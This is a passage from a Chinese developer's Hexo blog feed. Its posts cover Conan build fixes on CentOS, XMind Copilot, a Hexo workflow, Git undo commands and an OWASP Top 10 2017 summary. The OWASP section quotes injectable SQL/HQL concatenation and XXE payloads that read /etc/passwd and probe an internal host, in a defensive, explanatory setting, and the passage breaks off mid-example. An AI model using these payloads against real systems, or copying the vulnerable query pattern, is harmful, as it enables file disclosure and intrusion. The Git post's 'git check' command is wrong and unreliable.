install</code>命令的<code>--remote</code>选项指定要使用的远程存储库。这有助于加快包的下载速度和分发速度。</p><p>(3)指定Conanfile位置:如果您的项目中有多个Conanfile文件,则可以使用<code>-if</code>选项指定要使用的Conanfile文件。这有助于避免不必要的构建,并加快构建速度。</p><p>(4)并行构建:Conan支持并行构建,可以使用<code>-j</code>选项指定要使用的并行任务数。这有助于加快构建速度。</p><p>总体而言,优化Conan的方法取决于项目的具体情况和需求。您可以根据需要选择不同的选项和设置来优化Conan的行为。</p><h3 id="7-总结"><a href="#7-总结" class="headerlink" title="7. 总结"></a>7. 总结</h3><p>Conan是一个非常有用的工具,它可以帮助C++开发人员管理项目所需的依赖项和库,提高构建速度和可靠性,并使项目更易于维护。在本文中,我们介绍了如何安装和配置Conan,创建和使用Conan recipe,并分享了一些踩坑经验和解决方案。希望这些信息能对您有所帮助!</p><h3 id="FAQ"><a href="#FAQ" class="headerlink" title="FAQ"></a>FAQ</h3><p><strong>1. conan install 报错,gnu 版本过低</strong> </p><p><img src="https://github.com/zhililab/Znotes/assets/11768073/85fdd80a-f386-4aed-b2a6-910a2fde4ced" alt="image"></p><p><strong>解决方法:</strong></p><p>两个软件包要求使用C++11标准进行编译,而当前系统的C++标准版本(cppstd)为gnu98,低于所需版本 。当前使用 cent 7.9 机器,gcc 4.8.5 ,该如何解决这个问题</p><p>由于您当前使用的是CentOS 7.9操作系统,它默认安装的GCC版本为4.8.5,这个版本的C++标准版本最高只支持到C++03,因此需要升级GCC到支持C++11标准的版本。</p><p>有几种方法可以升级GCC,其中一种是使用DevToolSet软件集。DevToolSet是一个由Red Hat提供的软件集,其中包含了最新版本的GCC和其他开发工具。您可以使用以下命令安装DevToolSet:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bahs">sudo yum install centos-release-scl<br>sudo yum install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils<br></code></pre></td></tr></table></figure><p>安装完成后,您可以使用以下命令启用DevToolSet中的GCC版本:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">scl <span class="hljs-built_in">enable</span> devtoolset-9 bash<br></code></pre></td></tr></table></figure><p>然后,您可以再次运行Conan以安装这些软件包。如果您仍然遇到问题,请确保在Conan命令中使用-s cppstd=11选项来设置所需的C++标准版本。</p><p><strong>2. conan 依赖包 下载</strong> </p><p><code>conan install .</code><br><img src="https://github.com/zhililab/Znotes/assets/11768073/ca25340e-70f4-4791-a79b-d654d229ab1c" alt="image"></p><p><strong>解决方法:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 使用本地模式</span><br>conan install . --build=missing<br></code></pre></td></tr></table></figure><p><strong>3.conan</strong> 下载失败</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash">abseil/20220623.0: Sources downloaded from <span class="hljs-string">'conancenter'</span><br>abseil/20220623.0: Calling <span class="hljs-built_in">source</span>() <span class="hljs-keyword">in</span> /root/.conan2/p/absei4eff9c73765e3/s/src<br>abseil/20220623.0: ERROR: Error downloading file https://github.com/abseil/abseil-cpp/archive/20220623.0.tar.gz: <span class="hljs-string">'HTTPSConnectionPool(host='</span>github.com<span class="hljs-string">', port=443): Read timed out. (read timeout=30)'</span><br>abseil/20220623.0: Waiting 5 seconds to retry...<br>abseil/20220623.0: ERROR: Error downloading file https://github.com/abseil/abseil-cpp/archive/20220623.0.tar.gz: <span class="hljs-string">'HTTPSConnectionPool(host='</span>github.com<span class="hljs-string">', port=443): Read timed out. (read timeout=30)'</span><br>abseil/20220623.0: Waiting 5 seconds to retry...<br>ERROR: abseil/20220623.0: Error <span class="hljs-keyword">in</span> <span class="hljs-built_in">source</span>() method, line 81<br> get(self, **self.conan_data[<span class="hljs-string">"sources"</span>][self.version], strip_root=True)<br> ConanException: Error downloading file https://github.com/abseil/abseil-cpp/archive/20220623.0.tar.gz: <span class="hljs-string">'HTTPSConnectionPool(host='</span>github.com<span class="hljs-string">', port=443): Max retries exceeded with url: /abseil/abseil-cpp/archive/20220623.0.tar.gz (Caused by ConnectTimeoutError(<urllib3.connection.HTTPSConnection object at 0x7f7add706c88>, '</span>Connection to github.com timed out. (connect <span class="hljs-built_in">timeout</span>=30)<span class="hljs-string">'))</span><br><span class="hljs-string"></span><br></code></pre></td></tr></table></figure><p>4.编译缺失对应依赖</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash">/root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc: /lib64/libstdc++.so.6: version `GLIBCXX_3.4.20<span class="hljs-string">' not found (required by /root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc)</span><br><span class="hljs-string">/root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc: /lib64/libstdc++.so.6: version `CXXABI_1.3.8'</span> not found (required by /root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc)<br>gmake[2]: *** [gens/src/proto/grpc/channelz/channelz.grpc.pb.cc] Error 1<br>gmake[1]: *** [CMakeFiles/grpcpp_channelz.dir/all] Error 2<br>gmake[1]: *** Waiting <span class="hljs-keyword">for</span> unfinished <span class="hljs-built_in">jobs</span>....<br>/root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc: /lib64/libstdc++.so.6: version `GLIBCXX_3.4.20<span class="hljs-string">' not found (required by /root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc)</span><br><span class="hljs-string">/root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc: /lib64/libstdc++.so.6: version `CXXABI_1.3.8'</span> not found (required by /root/.conan/data/protobuf/3.21.9/_/_/package/37dd8aae630726607d9d4108fefd2f59c8f7e9db/bin/protoc)<br>gmake[2]: *** [gens/src/proto/grpc/reflection/v1alpha/reflection.grpc.pb.cc] Error 1<br>gmake[1]: *** [CMakeFiles/grpc++_reflection.<span class="hljs-built_in">dir</span>/all] Error 2<br>gmake: *** [all] Error 2<br></code></pre></td></tr></table></figure><p><strong>解决方法:</strong></p><p>GLIBCXX_3.4.20 和 CXXABI_1.3.8 都是 GNU C++ 标准库的版本。在 CentOS 7.9 中,这些版本可能已经过时或不可用。您可以尝试使用以下命令来安装最新版本的 GNU C++ 标准库:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">sudo yum install libstdc++-devel<br></code></pre></td></tr></table></figure><p>这个命令会安装最新版本的 libstdc++ 库和相关的开发工具。安装完成后,您可以尝试重新运行出现错误的程序,看看是否还会报错。</p><p>如果您仍然需要使用旧版本的 GNU C++ 标准库,您可以尝试手动安装这些版本。以下是一些可能有用的资源:</p><ul><li><p>GLIBCXX_3.4.20: 可能需要从源代码编译安装,具体步骤可以参考 GNU C++ 标准库的官方文档:<a href="https://gcc.gnu.org/onlinedocs/libstdc++/faq.html#faq.how_to_install">https://gcc.gnu.org/onlinedocs/libstdc++/faq.html#faq.how_to_install</a></p></li><li><p>CXXABI_1.3.8: 这个版本通常包含在 libstdc++ 库中,因此您可以尝试使用上面提到的命令来安装最新版本的 libstdc++ 库。如果您仍然需要手动安装这个版本,具体步骤可以参考这个 Stack Overflow 的帖子:<a href="https://stackoverflow.com/questions/33394996/how-to-install-libstdc-so-6-0-21cxxabi-1-3-8-in-centos-6-7">https://stackoverflow.com/questions/33394996/how-to-install-libstdc-so-6-0-21cxxabi-1-3-8-in-centos-6-7</a></p></li></ul><p>❤️ made with ChatGPT</p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Conan</tag>
<tag>CM</tag>
</tags>
</entry>
<entry>
<title>XMind Copilot</title>
<link href="/2023/05/29/XMind-Copilot/"/>
<url>/2023/05/29/XMind-Copilot/</url>
<content type="html"><![CDATA[<p>XMind Copilot</p><p>XMind 发布基于 GPT 3.5/4 的AI辅助的 XMind Copilot,主打一个 AI+ 智能体验。下面我们看看都有哪些功能</p><p>1.输入关键词/句</p><p><img src="https://i.imgtg.com/2023/05/29/OoLd3I.png"></p><p>2.点击“给我思维导图按钮”生成思维导图,继续点击“生成全文”</p><p><img src="https://i.imgtg.com/2023/05/29/OoLViD.png"></p><p><img src="https://i.imgtg.com/2023/05/29/OoL9bP.png"></p><p>3.生成的 Markdown 全文可以直接导入 XMind</p><p><img src="https://i.imgtg.com/2023/05/29/OoG7PN.png"></p><p>导入后,效果如下所示,非常方便快捷 👏</p><p><img src="https://i.imgtg.com/2023/05/29/OoGAvi.png"></p><p>体验入口:<a href="https://www.xmind.ai/cn">https://www.xmind.ai/cn</a><br>XMind官方解读:<a href="https://mp.weixin.qq.com/s/Rya_NyzZzuW690FSCvUv0g">https://mp.weixin.qq.com/s/Rya_NyzZzuW690FSCvUv0g</a></p>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>XMind</tag>
<tag>ChatGPT</tag>
</tags>
</entry>
<entry>
<title>网站更新小记</title>
<link href="/2023/05/28/%E7%BD%91%E7%AB%99%E6%9B%B4%E6%96%B0%E5%B0%8F%E8%AE%B0/"/>
<url>/2023/05/28/%E7%BD%91%E7%AB%99%E6%9B%B4%E6%96%B0%E5%B0%8F%E8%AE%B0/</url>
<content type="html"><![CDATA[<p>Hi Guys, </p><p>好久不见!为了更好沉淀自己,我要回归 blog 日常更新了。</p><p>小站最近主要变化:</p><ul><li>切换新 hexo 主题</li><li>改变工作流<ul><li>md 文件托管在 dev </li><li>html 静态网页部署在 master </li><li>增加 hexo admin 管理功能</li></ul></li></ul><p>下面分别细说下</p><h4 id="主题更新"><a href="#主题更新" class="headerlink" title="主题更新"></a>主题更新</h4><p>原来的主题 hexo-theme-skapp 扁平风格一直很喜欢,但使用的插件版本过低,且没有lazy 加载功能,网站性能较差,所以调研选择一个 github 开源的fluid 主题(<a href="https://github.com/fluid-dev/hexo-theme-fluid%EF%BC%89">https://github.com/fluid-dev/hexo-theme-fluid)</a></p><h4 id="工作流切换"><a href="#工作流切换" class="headerlink" title="工作流切换"></a>工作流切换</h4><p>老的工作流:</p><ol><li>本地编译 markdown 修改预览,<code>hexo server</code> 本地预览</li><li><code>hexo generate -d </code> 生成部署到 github pages 的master 分支 </li><li>重复1、2操作</li></ol><blockquote><p>工作流没问题,但有一个不便之处就是 markdown 都在本地,容易丢失,不支持云编辑</p></blockquote><p>新的工作流:</p><ol><li>本地编译 markdown 修改预览,<code>hexo server</code> 本地预览 / hexo admin 创建(本篇就是使用的 hexo admin )</li><li>git add . ; git commit -m “do something”; git push </li><li><code>hexo generate -d </code> 生成部署到 github pages 的master 分支</li></ol><p>要改变Hexo部署的工作流程以满足需求,我的具体步骤如下:</p><ol><li>创建并切换到dev分支:在本地克隆的Hexo仓库中,使用Git命令创建一个名为dev的新分支,并切换到该分支。</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">git checkout -b dev<br></code></pre></td></tr></table></figure><ol start="2"><li>配置Hexo的_source目录:在Hexo配置文件(_config.yml)中,将<code>source_dir</code>的值设置为<code>dev</code>,这将使Hexo在dev分支上查找源文件。</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">source_dir:</span> <span class="hljs-string">dev</span><br></code></pre></td></tr></table></figure><ol start="3"><li>配置Hexo的部署设置:在Hexo配置文件中,将<code>deploy</code>的类型设置为git,并将<code>branch</code>设置为<code>master</code>,这将告诉Hexo将生成的站点部署到GitHub Pages的master分支。</li></ol><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">deploy:</span><br> <span class="hljs-attr">type:</span> <span class="hljs-string">git</span><br> <span class="hljs-attr">repo:</span> <span class="hljs-string"><GitHub仓库地址></span><br> <span class="hljs-attr">branch:</span> <span class="hljs-string">master</span><br></code></pre></td></tr></table></figure><ol start="4"><li>提交并推送dev分支:将本地编辑完毕的Markdown文件和资源文件提交到dev分支,并将该分支推送到GitHub仓库。</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">git add .<br>git commit -m <span class="hljs-string">"Update content"</span><br>git push origin dev<br></code></pre></td></tr></table></figure><ol start="5"><li>生成并部署站点:运行Hexo生成并部署命令,这将根据dev分支上的源文件生成站点,并将生成的站点文件部署到GitHub Pages的master分支。</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">hexo generate -d<br></code></pre></td></tr></table></figure><p>通过以上步骤,可以实现本地编辑完毕后将原始Markdown文件和资源文件推送到GitHub Pages仓库的dev分支,然后自动进行Hexo生成和部署到master分支。需要注意是,你要确保在执行Hexo部署命令之前已经提交了对源文件的更改,并且已经配置了正确的GitHub仓库地址。</p><h4 id="Hexo-Admin"><a href="#Hexo-Admin" class="headerlink" title="Hexo Admin"></a>Hexo Admin</h4><p>要为Hexo添加后台管理界面以编辑博客文章,可以使用一些Hexo的插件或工具来实现。其中一个常用的选择是使用 Hexo Admin 插件。</p><p>以下是使用Hexo Admin插件添加后台管理界面的基本步骤:</p><ol><li><p>安装Hexo Admin插件:</p><ul><li>打开命令行工具,并导航到您的Hexo博客根目录。</li><li>运行以下命令来安装Hexo Admin插件:<code>npm install --save hexo-admin</code>。</li></ul></li><li><p>配置Hexo Admin插件:</p><ul><li>在Hexo博客根目录的<code>_config.yml</code>文件中,添加以下配置:<figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">hexo_admin:</span><br> <span class="hljs-attr">username:</span> <span class="hljs-string">admin</span><br> <span class="hljs-attr">password_hash:</span> <span class="hljs-comment"># 通过运行 `echo -n 'your_password' | openssl sha1` 命令生成密码的哈希值</span><br></code></pre></td></tr></table></figure></li></ul></li><li><p>启动Hexo服务器并访问管理界面:</p><ul><li>运行<code>hexo server</code>命令启动Hexo服务器。</li><li>打开Web浏览器,并访问<code>http://localhost:4000/admin</code>来访问Hexo Admin的管理界面。</li></ul></li></ol><p>通过 <strong>hexo admin</strong> 界面,我们就可以轻松实现登录并管理博客文章,包括创建新文章、编辑现有文章、预览和发布等。</p><p>安装和配置Hexo Admin插件后,需要在访问管理界面之前登录使用预先设置的用户名和密码。确保将用户名和密码配置为安全且不易猜测的值。</p><p>另外,还有其他一些Hexo插件和工具可用于添加后台管理界面,例如Netlify CMS、Admino、Easymotion等。您可以根据个人喜好和需求选择适合您的插件来增强Hexo的管理功能。</p><p><img src="https://i.imgtg.com/2023/05/28/OoZxwl.png" alt="Hexo Admin"></p><blockquote><p>made with ChatGPT ♥</p></blockquote>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Hexo</tag>
</tags>
</entry>
<entry>
<title>图形渲染那些事系列之(一)</title>
<link href="/2021/03/01/RenderingOne/"/>
<url>/2021/03/01/RenderingOne/</url>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p><img src="https://user-images.githubusercontent.com/11768073/109507707-f7ded580-7ad9-11eb-88d4-c100c0c020c8.png" alt="image"></p><h3 id="计算机图形学-vs-计算机图形学-API"><a href="#计算机图形学-vs-计算机图形学-API" class="headerlink" title="计算机图形学 vs 计算机图形学 API"></a>计算机图形学 vs 计算机图形学 API</h3><p><code>计算机图形学</code>:是研究计算机在硬件和软件的帮助下创建计算机图形的科学学科,是计算机科学的一个分支领域,主要关注数位合成与操作视觉的图形内容。虽然这个词通常被认为是指三维图形,事实上同时包括了二维图形以及影像处理。via Wikipedia</p><p><code>计算机图形学 API</code>:软件学的程序编程接口(Application Programming Interface),常见的包括 OpenGL、Vulkan、DirectX、Metal 等等。</p><h3 id="图形渲染常见名词"><a href="#图形渲染常见名词" class="headerlink" title="图形渲染常见名词"></a>图形渲染常见名词</h3>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>图形渲染</tag>
</tags>
</entry>
<entry>
<title>Git 使用入门(3)</title>
<link href="/2020/12/06/GitThirdImpression/"/>
<url>/2020/12/06/GitThirdImpression/</url>
<content type="html"><![CDATA[<p>Cover Photo by Ashley Harpp on beanstalk Guides</p><blockquote><p>上一篇已经介绍本篇主要介绍 Git 常用的命令,本片介绍本地操作相关,看完这篇你将对本地文件修改如何撤销比较清楚 Let`s begin 😎</p></blockquote><h3 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h3><p>【Git 使用入门(1)】<a href="https://zhililab.github.io/2018/03/19/GitFirstImpression/">什么是 Git</a><br>【Git 使用入门(2)】<a href="https://zhililab.github.io/2018/04/07/GitSecondImpression/">Git 常用命令</a></p><h4 id="本地文件修改撤销"><a href="#本地文件修改撤销" class="headerlink" title="本地文件修改撤销"></a>本地文件修改撤销</h4><ol><li>查看本地文件修改内容</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment">#查看本地文件修改内容)</span><br>git diff fileName.xxx<br></code></pre></td></tr></table></figure><ol start="2"><li>撤销本地文件修改</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 撤销本地所有文件修改</span><br>git check . <br><span class="hljs-comment"># 撤销本地文件 fileName.xxx 的修改</span><br>git check fileName.xxx <br></code></pre></td></tr></table></figure><ol start="3"><li>本地修改了一些文件,且已提交到暂缓区</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 撤销本地所有文件修改和add操作</span><br>git reset HEAD .<br><span class="hljs-comment"># 撤销本地 fileName.xxx 的修改和add操作</span><br>git reset HEAD fileName.xxx<br></code></pre></td></tr></table></figure><p>例如,我在工程里对两个头文件做了修改,还未提交到暂缓区,这时如果想撤销修改,可以运行下面的命令:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 当前目录只有2个头文件,采用通配符</span><br>git checkout Learn-To-Program-With-CPP/SimpleClasses/*.h<br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>技术</category>
</categories>
<tags>
<tag>Git</tag>
</tags>
</entry>
<entry>
<title>OWASP TOP 10 - 2017 Part 2</title>
<link href="/2018/04/18/OWASP-Top10-2017-Part2/"/>
<url>/2018/04/18/OWASP-Top10-2017-Part2/</url>
<content type="html"><![CDATA[<h3 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h3><p>【OWASP TOP 10 - 2017 】<a href="http://www.zhililab.com/2018/04/13/OWASP-Top10-2017/">Part 1 OWASP Top 10 - 2017 报告概览</a><br>【OWASP TOP 10 - 2017 】<a href="http://www.zhililab.com/2018/04/18/OWASP-Top10-2017-Part2/">Part 2 OWASP Top 10 安全威胁深度了解</a></p><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>上次我们介绍了OWASP组织、应用安全威胁相关内容、Top 10 风险内容,这次我们将会介绍 Top 10 安全威胁的<strong>常见攻击示例</strong>以及<strong>防范措施</strong>等内容,下面我们将按照 Top 1 - 10 的顺序依次展开 。</p><h3 id="A1-2017-Injection"><a href="#A1-2017-Injection" class="headerlink" title="A1: 2017 Injection"></a><strong>A1: 2017 Injection</strong></h3><h4 id="1-产生背景"><a href="#1-产生背景" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><ul><li>应用未验证、过滤或净化用户来源数据</li><li>网页解释器直接使用没有内容感知动态查询或不含参调用</li><li>在 ORM 搜索参数包含恶意数据去抽取查询之外的、敏感数据</li><li>…</li></ul><blockquote><p>当应用程序容易被注入攻击时,源代码审查是最好的检测方法。</p></blockquote><h4 id="2-攻击示例"><a href="#2-攻击示例" class="headerlink" title="2.攻击示例"></a>2.攻击示例</h4><p><strong>场景 #1</strong> </p><p>下面例子中,在SQL查询访问构造过程中使用了非可信数据:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">String</span> <span class="hljs-variable">query</span> <span class="hljs-operator">=</span> <span class="hljs-string">"SELECT * FROM accounts WHERE custID='"</span> + request.getParameter(<span class="hljs-string">"id"</span>) + <span class="hljs-string">"'"</span>;<br></code></pre></td></tr></table></figure><p><strong>场景 #2</strong></p><p>类似的,应用对<strong>框架</strong>的盲目”信任“可能导致查询语句的脆弱(e.g Hibernate Query Language(HQL)):</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-type">Query</span> <span class="hljs-variable">HQLQuery</span> <span class="hljs-operator">=</span> session.createQuery(<span class="hljs-string">"FROM accounts WHERE custID='"</span> + request.getParameter(<span class="hljs-string">"id"</span>) + <span class="hljs-string">"'"</span>);<br></code></pre></td></tr></table></figure><h4 id="3-防范措施"><a href="#3-防范措施" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>防范注入攻击需要把数据与命令、查询分离开,以下是常见防范措施:</p><ul><li>优先选择是<strong>使用更安全的 API</strong></li><li>可以在<strong>服务器端</strong>使用<strong>正向或“白名单”</strong>输入验证</li><li>在查询中使用<strong>LIMIT 和其他 SQL 控制</strong>,防止 SQL 注入攻击</li><li>…</li></ul><h3 id="A2-2017-Broken-Authentication"><a href="#A2-2017-Broken-Authentication" class="headerlink" title="A2: 2017-Broken Authentication"></a><strong>A2: 2017-Broken Authentication</strong></h3><h4 id="1-产生背景-1"><a href="#1-产生背景-1" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>当应用出现以下情况会造成认证削弱:</p><ul><li>应用允许自动攻击,例如证书填充攻击 (攻击者拥有一系列的有效用户名和密码)</li><li>应用使用脆弱的或无效的证书恢复机制或忘记密码流程,例如“基于问答的密码找回方式”</li><li>使用明文,加密或若哈希的密码</li><li>…</li></ul><h4 id="2-攻击场景"><a href="#2-攻击场景" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong> </p><p>证书填充——使用一系列已知密码——是一种常见的攻击手段。</p><p><strong>场景 #2</strong></p><p>大部分认证攻击攻击是由于单一机制的密码的使用造成的。</p><p><strong>场景 #3</strong></p><p>应用会话超时设置不正确。</p><h4 id="3-防范措施-1"><a href="#3-防范措施-1" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><p>尽可能的采取多重认证机制,从而免于自动化、证书填充攻击和偷窃证书复用等攻击,具体措施如下:</p><ul><li>不使用任何默认证书传输或部署,<strong>尤其是管理员</strong></li><li>采用弱密码检查机制,例如测试新用户密码或修改后的密码是否属于 Top 10000 worst passwords</li><li>限制或逐渐延缓失败登陆尝试</li><li>…</li></ul><h3 id="A3-2017-Sensitive-Data-Exposure"><a href="#A3-2017-Sensitive-Data-Exposure" class="headerlink" title="A3: 2017-Sensitive Data Exposure"></a><strong>A3: 2017-Sensitive Data Exposure</strong></h3><h4 id="1-产生背景-2"><a href="#1-产生背景-2" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>为了验证网络应用是否存在敏感数据暴漏漏斗,首先要做的是判定数据在传输和驻留阶段的保护级别需求。比如对于密码、信用卡账号、健康数据、个人信息和商业秘密需求额外的比如,<strong>尤其是数据被划归到隐私保护法规下面 (e.g. 欧盟通用数据保护监管法GDPR)</strong>等,对于这些数据,需要考虑:</p><ul><li>数据是否存在明文传输?这关系到如 HTTP,SMTP 和 FTP 协议</li><li>敏感数据是否存在明文存储,包括备份数据</li><li>代码中是否使用任何过时的或容易破解的密码算法?</li><li>…</li></ul><h4 id="2-攻击场景-1"><a href="#2-攻击场景-1" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p><strong>场景 #1</strong> </p><p>数据库中的信用卡账号使自动数据库加密机制。这意味检索数据时信用卡数据会自动解密,这将造成 SQL 注入可以获取信用卡帐号的明文内容。</p><p><strong>场景 #2</strong></p><p>① 网站站点未使用或增强 TLS 加强安全保护 ② 站点仅支持易破解的加密机制。这时,攻击者通过监控网络流量,把网站协议从 HTTPS 降为 HTTP,捕获请求,然后窃取用户会话 cookie。接下来,攻击者可以使用这个 cookie ,劫持认证的会话 —— 获取或修改用户的隐私数据。</p><blockquote><p><strong>Cookie</strong>(复数形态Cookies),中文名称为“小型文字档案”或“小甜饼”[<a href="https://www.wikiwand.com/zh-hans/Cookie#citenote1">1]</a>,指某些<a href="https://www.wikiwand.com/zh-hans/%E7%BD%91%E7%AB%99">网站</a>为了辨别用户身份而储存在用户本地终端(Client Side)上的数据(通常经过<a href="https://www.wikiwand.com/zh-hans/%E5%8A%A0%E5%AF%86">加密</a>)via Wikipedia</p></blockquote><p><strong>场景 #3</strong></p><p>存储密码的数据库使用未处理的或简单哈希存储每个人密码。一个简单的文件上传漏洞将使攻击者可以获取<strong>整个密码数据库</strong>。</p><h4 id="3-防范措施-2"><a href="#3-防范措施-2" class="headerlink" title="3.防范措施"></a>3.防范措施</h4><ul><li>对应用程序使用的数据进行分类:使用的、存储的或传输的</li><li>上述数据分类时,使用控制机制</li><li>非必要时,不使用敏感数据</li><li>…</li></ul><h3 id="A4-2017-XML-External-Entities"><a href="#A4-2017-XML-External-Entities" class="headerlink" title="A4: 2017-XML External Entities"></a><strong>A4: 2017-XML External Entities</strong></h3><h4 id="1-产生背景-3"><a href="#1-产生背景-3" class="headerlink" title="1.产生背景"></a>1.产生背景</h4><p>下列情况发生时,应用程序尤其是基于 XML 网络服务或下游集成容易受到攻击:</p><ul><li>应用程序直接接收 XML 或者 XML 上传,<strong>尤其是来自非信赖来源的 XML,或者是往 XML 文档中插入 非可信数据(XML 处理器负责解析)</strong></li><li>当应用程序或基于 SOAP 的网页服务 XML 处理启用 DTDs(document type definitions)时</li><li>在需要联合安全和单点登录登陆时,应用程序使用 SAML 进行身份处理操作</li><li>…</li></ul><blockquote><p>安全断言标记语言(英语:Security Assertion Markup Language,简称<strong>SAML</strong>,发音sam-el)是一个基于XML的开源标准数据格式,它在当事方之间交换身份验证和授权数据,尤其是在身份提供者和服务提供者之间交换。 <strong>SAML</strong>是OASIS安全服务技术委员会的一个产品,始于2001年。 via Wikipedia</p></blockquote><h4 id="2-攻击场景-2"><a href="#2-攻击场景-2" class="headerlink" title="2.攻击场景"></a>2.攻击场景</h4><p>当下,已经发现了大量公开 XXE 问题,包括攻击嵌入式设备。XEE 攻击发生很多意想不到的地方,其中包括 <strong>deeply nested dependencies</strong>。</p><p><strong>场景 #1</strong></p><p>攻击者尝试从服务器端提取数据:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta"><?xml version=<span class="hljs-string">"1.0"</span> encoding=<span class="hljs-string">"ISO-8859-1"</span>?></span> <br><span class="hljs-meta"><!DOCTYPE <span class="hljs-keyword">foo</span> [ <span class="hljs-meta"><!ELEMENT <span class="hljs-keyword">foo</span> <span class="hljs-keyword">ANY</span> ></span> </span><br><span class="hljs-meta"><span class="hljs-meta"><!ENTITY <span class="hljs-keyword">xxe</span> <span class="hljs-keyword">SYSTEM</span> <span class="hljs-string">"file:///etc/passwd"</span> ></span>]></span><br><span class="hljs-tag"><<span class="hljs-name">foo</span>></span><span class="hljs-symbol">&xxe;</span><span class="hljs-tag"></<span class="hljs-name">foo</span>></span><br></code></pre></td></tr></table></figure><p><strong>场景 #2</strong></p><p>攻击者通过把 ENTITY所在行以上修改为:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta"><!ENTITY <span class="hljs-keyword">xxe</span> <span class="hljs-keyword">SYSTEM</span> <span class="hljs-string">"https://192.168.1.1/private"</span> ></span>]><br></code></pre></td></tr></table></figure><p><strong>场景 #3</strong></p><p>攻击者通过包括潜在无结束文件方式发起服务拒绝攻击:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs html"><span 